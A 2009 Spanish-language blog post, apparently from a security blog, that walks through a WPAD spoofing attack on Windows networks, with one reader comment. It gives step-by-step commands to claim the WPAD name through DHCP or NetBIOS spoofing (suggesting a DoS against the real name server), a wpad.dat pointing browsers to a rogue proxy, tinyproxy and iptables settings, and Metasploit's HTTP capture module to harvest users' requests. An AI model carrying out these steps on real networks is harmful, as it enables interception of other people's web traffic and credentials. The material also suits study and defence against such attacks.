miércoles, 6 de mayo de 2009

WPAD reloaded (?)

El ataque de WPAD ya tiene algunos años de existencia, pero no por ello deja de ser efectivo. Esta es una virtud de gran parte de los ataques "de red", que no se ven afectados por el paso del tiempo.

Un ejemplo muy reciente, fue el defacing de la Web de Metasploit en Junio del año pasado, realizado por unos hackers chinos que comprometieron el ISP que daba hosting a Metasploit.com, y desde otro sistema en el mismo segmento de red realizaron un ataque de MiTM con ARP Poisoning.

WPAD "Web Proxy Auto-Discovery" nace de la necesidad de configurar el Proxy de los browsers de los usuarios automáticamente. Brevemente, la idea es buscar en la red al sistema que posea el nombre "WPAD", utilizando los protocolos DNS, DHCP o NetBIOS, y luego descargar desde la web de WPAD el archivo "wpad.dat", que contiene algunas lineas de JavaScript que le indicaran al browser cual es la direccion del Proxy que debe utilizar.

La idea del ataque, es hacernos pasar por el sistema WPAD, para indicarle al usuario que utilice un Proxy "falso", y luego capturar toda la información que pase por este Proxy.

El protocolo WPAD, nunca paso de ser un Draft, pero originalmente utilizaba solo DNS y DHCP. Algo muy gracioso con la implementación de DNS era que la búsqueda se realizaba por "WPAD[.dominio]", y podía llegar a pasar que busque "wpad.buenosaires.empresa.com", luego "wpad.empresa.com", y finalmente "wpad.com".

Como no podía ser de otra forma, alguien registro el dominio "wpad.com". Afortunadamente el dueño del sitio www.wpad.com, al recibir miles de visitas totalmente inesperadas, se percato del problema, y simplemente tiene on-line un mensaje explicativo para los usuarios desprevenidos.

Pero lo realmente genial del Draft de WPAD, se encuentra en el punto 9, "Security Considerations", donde se encuentra la gloriosa frase:

"Minimally, it can be said that the WPAD protocol does not create new security weaknesses."

Para que el browser utilice WPAD, debe tener activado "Detectar la configuracion automaticamente", lo cual no es un problema, ya que Windows viene configurado de esta forma desde Windows 98SE hasta el reciente Windows Vista.

En un dominio de Windows con DNS y DHCP, una forma muy sencilla de crear una entrada de DNS falsa a través de DHCP, es la siguiente:

dhcpcd -h WPAD -i eth0

Otra forma, podría ser spoofeando el nombre WPAD con un NetBIOS Spoofer como nbnspoof.py de Robert Wesley McGrew. De esta forma cada vez que un usuario pregunte por el nombre WPAD, nosotros automáticamente responderíamos, pero obviamente estaríamos compitiendo con el servidor de nombres real, al que deberíamos realizarle algún tipo de DoS para que sea mas lento que nosotros al responder:

python nbnspoof.py -v -i eth0 -n "[WPAD]" -h IP_del_Hacker -m MAC_del_Hacker

Existen otras formas de spoofear el nombre WPAD, pero están son efectivas. También hay otros nombres interesantes a los cuales se podría atacar como ISASRV o CALCSERVER.

Una vez que los usuarios se dirigen al sistema WPAD, deberíamos crear en el root del webserver, el archivo "wpad.dat" con la información del Proxy falso. El archivo "wpad.dat" debería tener este formato:

# cd /var/www/htdocs/

# vi wpad.dat

function FindProxyForURL(url, host)
{
return “PROXY proxy.kungfoo.com.ar:8080;
DIRECT”;
}

Como Proxy, podemos utilizar Squid, o si lo queremos hacer sencillo tinyproxy, en donde deberíamos verificar el puerto en donde esta escuchando, y que se encuentre permitida la red en la que estamos:

# vi /usr/local/etc/tinyproxy/tinyproxy.conf

Port 8080
Allow 10.0.0.0/8

# tinyproxy -d

Finalmente para que nuestro Proxy falso forwardee los paquetes, deberíamos tener una regla de iptables apuntando a la IP y puerto del Proxy, como la siguiente:

/sbin/iptables -t nat -A PREROUTING -s 10.0.0.0/255.0.0.0 -p tcp -m tcp --dport 8080 -j DNAT --to-destination 10.10.10.10

Ahora si todo esto les parece demasiado trabajo, simplemente pueden Spoofear WPAD y levantar Metasploit, que servirá automáticamente un archivo "wpad.dat", y permitirá capturar los pedidos HTTP. No va a forwardear los paquetes pero sin dudas van a obtener algunas cosas interesantes:

msf > use auxiliary/server/capture/http
msf auxiliary(http) > exploit
[*] Auxiliary module running as background job
[*] Server started.

Esto es todo con WPAD, y próximamente mas ataques de red del baúl de los recuerdos... ;-)

1 comentario:

OldPhreaking dijo...

Je entre la nota de la otra vuelta de los "Ping locos", y esta no se cual quedarme :P minitutorial, de "Hacking en el Recuerdo"? como siempre corto conciso y bien explicado hasta yo lo entendi

LinkWithin